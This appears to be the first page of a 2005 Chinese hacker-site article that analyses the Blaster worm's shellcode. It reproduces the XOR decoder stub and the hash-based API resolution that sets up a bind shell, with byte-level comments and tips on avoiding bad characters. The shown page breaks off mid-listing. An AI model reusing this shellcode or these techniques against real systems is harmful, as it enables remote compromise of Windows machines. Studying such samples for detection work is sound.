| 首页 | 技术文章 | 软件下载 | 博客 | 论坛 | 精品教程 | 黑客动画 | 视频资源 | 在线服务 | 黑客游戏 | 

您现在的位置: 中国X黑客小组 >> 技术文章 >> 编程技术 >> 黑客编程 >> 文章正文 用户登录 新用户注册
  “冲击波”病毒的shellcode         ★★★ 【字体:
“冲击波”病毒的shellcode
作者:MGF    文章来源:邪恶八进制信息安全团队    点击数:    更新时间:2005-8-27    

2年前“冲击波”病毒爆发时,我曾经对它的SHELLCODE进行过分析,现在把我当时写的分析献出来, 
让大家看看“一代名毒”是怎样的。一般来说,shellcode都是这样写的,因此只要hook shellcode必须调用的api,判断esp和eip 
的差值如果在0x1000以内(也就是说代码在堆栈里运行),那么基本上可以确认系统受到缓冲区溢出攻击,该进程必须马上退出。 
当然,有些更厉害的shellcode采用直接调用native api,raw socket收发包等技术,hook api监视缓冲区溢出攻击的方法就不灵了, 
要考虑其他方法,但这样写shellcode,它的体积必然很大,而且各个系统很难通用,也有它的缺陷。 


;在exploit中由于不能有0和5C字符存在,所以写代码时要注意,因为很多代码都是有0的,比如 
;mov ecx,8的机器码是b9 08 00 00 00有3个0,所以必须改为xor ecx,ecx/mov cl,8或push 8/pop ecx或xor ecx,ecx--sub ecx,-8 

:00401000 90               nop 
:00401001 90               nop 


:00401002 90               nop 
:00401003 EB19             jmp 0040101E 
:00401005 5E               pop esi ;esi=00401023,从00401023地址开始的代码将要被还原,实际上esi指向的地址在堆栈中是不固定的 
:00401006 31C9             xor ecx, ecx 
:00401008 81E989FFFFFF         sub ecx, FFFFFF89==-77         ;ecx=77h 
:0040100E 813680BF3294         xor dword ptr [esi], 9432BF80 ;还原从00401023开始被加密的代码 
:00401014 81EEFCFFFFFF         sub esi, FFFFFFFC         ;add esi,4 
:0040101A E2F2             loop 0040100E 
:0040101C EB05             jmp 00401023 ;还原已经完成,跳到被还原的代码处执行 
:0040101E E8E2FFFFFF         call 00401005 ;这条指令相当于push 00401023,jmp 00401005两条指令的集合 

;此处开始的代码已经被还原: 
:00401023 83EC34             sub esp, 00000034 
:00401026 8BF4             mov esi, esp     ;esi-->变量表 

:00401028 E847010000         call 00401174 ;eax=77e40000h=hkernel32 
:0040102D 8906             mov dword ptr [esi], eax 

:0040102F FF36             push dword ptr [esi] ;=77e40000h 
:00401031 688E4E0EEC         push EC0E4E8E ;LoadLibraryA字符串的自定义编码 
:00401036 E861010000         call 0040119C 
:0040103B 894608             mov dword ptr [esi+08], eax ;=77e605d8h 

:0040103E FF36             push dword ptr [esi] ;=77e40000h 
:00401040 68ADD905CE         push CE05D9AD ;WaitForSingleObject字符串的自定义编码 
:00401045 E852010000         call 0040119C 
:0040104A 89460C             mov dword ptr [esi+0C], eax ;=77e59d5bh 

:0040104D 686C6C0000         push 00006C6C 
:00401052 6833322E64         push 642E3233 
:00401057 687773325F         push 5F327377 ;"ws2_32.dll" 
:0040105C 54               push esp     ;esp-->"ws2_32.dll" 
:0040105D FF5608             call LoadLibraryA -->ws2_32.dll 
:00401060 894604             mov dword ptr [esi+04], eax ;=71a20000h(ws2_32.dll 在内存里的地址) 

:00401063 FF36             push dword ptr [esi] ;=77e40000h 
:00401065 6872FEB316         push 16B3FE72 ;CreateProcessA字符串的自定义编码 
:0040106A E82D010000         call 0040119C 
:0040106F 894610             mov dword ptr [esi+10], eax 

:00401072 FF36             push dword ptr [esi] ;=77e40000h 
:00401074 687ED8E273         push 73E2D87E ;ExitProcess字符串的自定义编码 
:00401079 E81E010000         call 0040119C 
:0040107E 894614             mov dword ptr [esi+14], eax 

:00401081 FF7604             push [esi+04] ;=71a20000h 
:00401084 68CBEDFC3B         push 3BFCEDCB ;WSAStartup字符串的自定义编码 
:00401089 E80E010000         call 0040119C 
:0040108E 894618             mov dword ptr [esi+18], eax 

:00401091 FF7604             push [esi+04] ;=71a20000h 
:00401094 68D909F5AD         push ADF509D9 ;WSASocketA字符串的自定义编码 
:00401099 E8FE000000         call 0040119C 
:0040109E 89461C             mov dword ptr [esi+1C], eax 

:004010A1 FF7604             push [esi+04] ;=71a20000h 
:004010A4 68A41A70C7         push C7701AA4 ;bind字符串的自定义编码 
:004010A9 E8EE000000         call 0040119C 
:004010AE 894620             mov dword ptr [esi+20], eax 

:004010B1 FF7604             push [esi+04] ;=71a20000h 
:004010B4 68A4AD2EE9         push E92EADA4 ;listen字符串的自定义编码 
:004010B9 E8DE000000         call 0040119C 
:004010BE 894624             mov dword ptr [esi+24], eax 

:004010C1 FF7604             push [esi+04] ;=71a20000h 
:004010C4 68E5498649         push 498649E5 ;accept字符串的自定义编码 
:004010C9 E8CE000000         call 0040119C 
:004010CE 894628             mov dword ptr [esi+28], eax 

:004010D1 FF7604             push [esi+04] ;=71a20000h 
:004010D4 68E779C679         push 79C679E7 ;closesocket字符串的自定义编码 
:004010D9 E8BE000000         call 0040119C 
:004010DE 89462C             mov dword ptr [esi+2C], eax 

:004010E1 33FF             xor edi, edi 
:004010E3 81EC90010000  &

[1] [2] [3] [4] 下一页

文章录入:IceRiver    责任编辑:IceRiver 
  • 上一篇文章:

  • 下一篇文章:
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    最新热点 最新推荐 相关文章
    25年来八大计算机病毒 冲击波
    网上交易 Q币冲击人民币?
    彻底更换网卡 摆脱潜在“冲突
    针对微软最新漏洞病毒可能出
    冲击波病毒源代码
      网友评论:(只显示最新5条。评论内容只代表网友观点,与本站立场无关!)
    Powered by ICE RIVER - STUDIO
    » CnXHacker.CoM   © CopyRight 2002-2006, CnXHacker.CoM™, Inc. All Rights Reserved.